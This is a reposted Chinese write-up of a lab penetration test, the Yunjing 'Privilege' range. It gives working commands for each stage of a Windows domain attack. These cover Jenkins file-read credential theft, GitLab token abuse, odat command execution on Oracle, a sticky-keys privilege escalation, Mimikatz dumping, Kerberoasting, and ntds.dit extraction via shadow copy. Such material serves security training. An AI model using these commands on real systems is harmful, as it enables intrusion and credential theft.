内网渗透之突破云镜-Privilege_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

内网渗透之突破云镜-Privilege

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


内网渗透之突破云镜-Privilege

原文链接:https://xz.aliyun.com/t/13378 外网打点 信息搜集 fscan扫描 发现80和8080端口存在着两个服务,先看下80 WordPress建站,使用wpscan扫描一下 相关插件漏洞寻找过后,发现并没有RCE,所以换8080端口看看 尝试弱口令未果,搜索相关RCE漏洞,探测未授权访问不存在 接下来再对Wordpress站使用dirsearch进行扫描 漏洞探测 发现源码文件,下载下来后发现有数据库账密 尝试连接,不过失败了,应该是不允许非本机连接。 而后在tools/content-log.php下发现了存在任意文件读取漏洞。 获取密码 根据题目描述我们获取到了Jekins根目录为C:\ProgramData\Jenkins\.jenkins,然后我们这里搜索过后可以发现初始密码路径 因此我们这里读取C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword即可 得到密码510235cf43f14e83b88a9f144199655b 既然是任意文件读取,也可以直接读flag了其实 访问8080端口尝试登录 获取权限 发现命令行接口 之前在实战中有尝试过写shell,然后去执行达到反弹shell的目的,因此这里也进行尝试,因为是Windows环境,没有wget,所以用curl -o。 不过这里发现并不能执行 没有python环境,所以只能作罢。 后来想起来Windows环境,当前用户还是system权限,可以直接添加管理员用户的,在这里添加管理员用户 net user qwq Qq123456. /add net localgroup administrators qwq /add 而后RDP连接即可 内网横向 信息搜集 上线VIPER后使用fscan进行扫描 meterpreter > shell -c 'fscan64.exe -h 172.22.14.7/24'   ___                              _      / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__|   <     \____/     |___/\___|_|  \__,_|\___|_|\_\                       fscan version: 1.8.2 start infoscan (icmp) Target 172.22.14.7     is alive (icmp) Target 172.22.14.11    is alive (icmp) Target 172.22.14.16    is alive (icmp) Target 172.22.14.31    is alive (icmp) Target 172.22.14.46    is alive [*] Icmp alive hosts len is: 5 172.22.14.46:445 open 172.22.14.31:445 open 172.22.14.11:445 open 172.22.14.7:445 open 172.22.14.46:139 open 172.22.14.31:139 open 172.22.14.11:139 open 172.22.14.7:139 open 172.22.14.46:135 open 172.22.14.31:135 open 172.22.14.11:135 open 172.22.14.7:135 open 172.22.14.46:80 open 172.22.14.16:80 open 172.22.14.7:80 open 172.22.14.16:22 open 172.22.14.7:8080 open 172.22.14.7:3306 open 172.22.14.31:1521 open 172.22.14.11:88 open 172.22.14.16:8060 open 172.22.14.16:9094 open [*] alive ports len is: 22 start vulscan [*] NetInfo: [*]172.22.14.7   [->]XR-JENKINS   [->]172.22.14.7 [*] NetInfo: [*]172.22.14.11   [->]XR-DC   [->]172.22.14.11 [*] NetInfo: [*]172.22.14.46   [->]XR-0923   [->]172.22.14.46 [*] NetInfo: [*]172.22.14.31   [->]XR-ORACLE   [->]172.22.14.31 [*] NetBios: 172.22.14.11   [+] DC:XIAORANG\XR-DC           [*] NetBios: 172.22.14.31    WORKGROUP\XR-ORACLE           [*] WebTitle: http://172.22.14.7:8080   code:403 len:548   title:None [*] NetBios: 172.22.14.46    XIAORANG\XR-0923               [*] WebTitle: http://172.22.14.16:8060 code:404 len:555   title:404 Not Found [*] WebTitle: http://172.22.14.46       code:200 len:703   title:IIS Windows Server [*] WebTitle: http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in [*] WebTitle: http://172.22.14.7       code:200 len:54603 title:XR SHOP [*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab [+] http://172.22.14.7/www.zip poc-yaml-backup-file 代理搭建 攻击域成员一(Gitlab API Token泄露) 获取API Token 而后根据题目描述,我们去寻找设置的Gitlab API Token,在网页中可以找到 得到{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh},但这明显是一个加密后的结果,我们需要对它进行解密,这里有两种方法 一是用网页的project接口的gitlab测试功能,将url改成我们的VPS监听端口,然后可以收到PRIVATE-TOKEN,这个后面的值就是真正的API-TOKEN 得到glpat-7kD_qLH2PiQv_ywB9hz2 二是我们可以使用命令行进行直接解密,具体指令如下 println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText()) 探测git仓库内容 在刚刚fscan扫描中我们可以看到 [*] WebTitle: http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab 因此172.22.14.16这个就是Gitlab的部署站,仓库的通用接口是api/v4/projects/,这里带上刚刚的token访问就可以,指令如下 proxychains curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2"  "http://172.22.14.16/api/v4/projects/" | jq | grep "http_url_to_repo" proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git 接下来将内容拖下来 发现一个存储大量用户名和密码的,可能待会需要爆破 在yml文件中发现Oracle数据库账密 Oracle 连接 尝试使用mdut连接 但连接过后无法使用(会报错),试了试Navicat也长时间无响应。只能换其他工具了,使用odat进行连接,odat支持执行命令,我们这里直接添加用户 proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user qwq Qq123456. /add' proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup Administrators qwq /add' RDP连接 攻击域成员二(SeRestorePrivilege提权) 我们刚刚获取的大量用户名密码还没用,将数据提取出来 with open('credentials.txt', 'r') as file:    lines = file.readlines() usernames = [line.split('|')[1].strip() for line in lines[2:]] passwords = [line.split('|')[2].strip() for line in lines[2:]] with open('user.txt', 'w') as user_file:    for username in usernames:        user_file.write(username + '\n') with open('pwd.txt', 'w') as pwd_file:    for password in passwords:        pwd_file.write(password + '\n') 使用cme进行爆破 不过慢慢发现Fscan中有这么一条 不过慢慢发现Fscan中有这么一条 [*] NetBios: 172.22.14.46 XIAORANG\XR-0923 正好凭据也有一条 XR-0923 | zhangshuai | wSbEajHzZs 所以其实不用爆破,直接RDP就可以了 信息搜集 查看当前所拥有权限 whoami /priv 是Remote Management Use成员 可以参考https://forum.butian.net/share/2080 使用evil-winrm连接此机器 proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs 可以发现再查看用户权限,发现多了一个SeRestorePrivilege SeRestorePrivilege提权 参考https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8 可以了解到SeRestorePrivilege授予对系统上所有对象的写访问权,而不管它们的ACL如何。 此时我们就可以通过三种方式达到滥用特权的目的 1、修改服务二进制文件2、覆盖系统进程使用的DLL3、修改注册表设置 这里尝试修改粘滞键为cmd,但是拒绝访问了 这里的话再尝试直接修改cmd名字为sethc ren sethc.exe sethc.bakren cmd.exe sethc.exe 而后锁定用户,在登录处shift 5次触发粘滞键 可以看到已经成功获取system权限,转发VIPER上线获取flag 攻击域控(卷影拷贝提取SAM) 首先添加个管理员用户,方便操作 接下来上传Mimikatz,进行密码抓取 呃,报错了,尝试在VIPER上使用msf模块进行票据搜集 也不行,可能是版本问题,试了很多版本 最终在2.2的某个版本成功执行,是这个应该(下载的太多了,不记得具体哪个了) https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip 信息搜集 使用Mimikatz获取密码 发现一个机器账户 Authentication Id : 0 ; 832440 (00000000:000cb3b8) Session : Interactive from 2 User Name : DWM-2 Domain : Window Manager Logon Server : (null) Logon Time : 2024/1/24 10:40:31 SID : S-1-5-90-0-2 msv : [00000003] Primary * Username : XR-0923$ * Domain : XIAORANG * NTLM : b2caa4c3f6d5e97bf7c58f7db9e24317 * SHA1 : 00e3cf78689e875da3f43a5b62cc919990b52a6b tspkg : wdigest : * Username : XR-0923$ * Domain : XIAORANG * Password : (null) kerberos : * Username : XR-0923$ * Domain : xiaorang.lab * Password : c8 9c 74 62 4b a5 13 60 f8 9f 61 ee 0c 9c b4 ca 97 d7 4c 53 6a 10 4e e7 74 03 51 0a 95 3f 78 af 15 22 5d 7f 0c 10 c9 96 19 7a bd 28 d7 c8 9a b7 ec 04 fb a9 18 83 30 e1 d9 75 aa ed c1 81 d0 76 c3 70 6c 68 35 e9 16 66 bd fe c7 92 78 59 be 9b 0b 65 91 10 8b 5b c4 8f 18 32 72 a6 cb bb c1 b0 96 0f 1d 63 bf 8f e8 4f 9b 7b 6a 7c 0a e8 2e 9a 40 d7 36 7d 2e 7a 0c 99 21 ca 64 27 b9 df 77 c6 f7 47 19 d7 bb 05 d6 4b ca e6 70 4b 62 5f 1c f8 78 b9 33 a2 f7 9e e5 77 78 db f9 cd b1 73 e9 b2 df 35 67 5e b0 12 85 ac 59 db 4c 53 8e 2d 6a d4 d3 93 f5 61 30 ee f5 53 d0 2a ae cf 50 83 92 31 ad 67 17 7a 21 58 dc 62 96 2f f2 1c 1e bc 05 1b 43 48 91 5d c1 06 1d 71 73 c0 fa 04 66 59 e9 35 04 a9 50 a5 79 70 06 7b ea 3a ea 0c 44 4c 01 63 ssp : credman : cloudap : Kerberoasting攻击 proxychains GetUserSPNs.py xiaorang.lab/'XR-0923 -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11 发现tianjing用户,抓取一下hash proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923 -hashes :b2caa4c3f6d5e97bf7c58f7db9e24317 -dc-ip 172.22.14.11 -request-user tianjing 而后破解一下密码 hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force 得到 tianjing:DPQSXSXgh2 使用evil-winrm登录,进行简单信息搜集 卷影拷贝 有备份以及还原文件和目录的权限,尝试导出sam和system。 首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下 set context persistent nowritersadd volume c: alias rajcreateexpose %raj% z: 接下来再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距 unix2dos raj.dsh 接下来上传到靶机,我们在C:/下随便创个目录,上传此文件 卷影拷贝 diskshadow /s raj.dsh 复制到当前目录 RoboCopy /b z:\windows\ntds . ntds.dit 下载sam和system 接下来进行解密 impacket-secretsdump -ntds ntds.dit -system system local PTH拿下域控 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

内网渗透之突破云镜-Privilege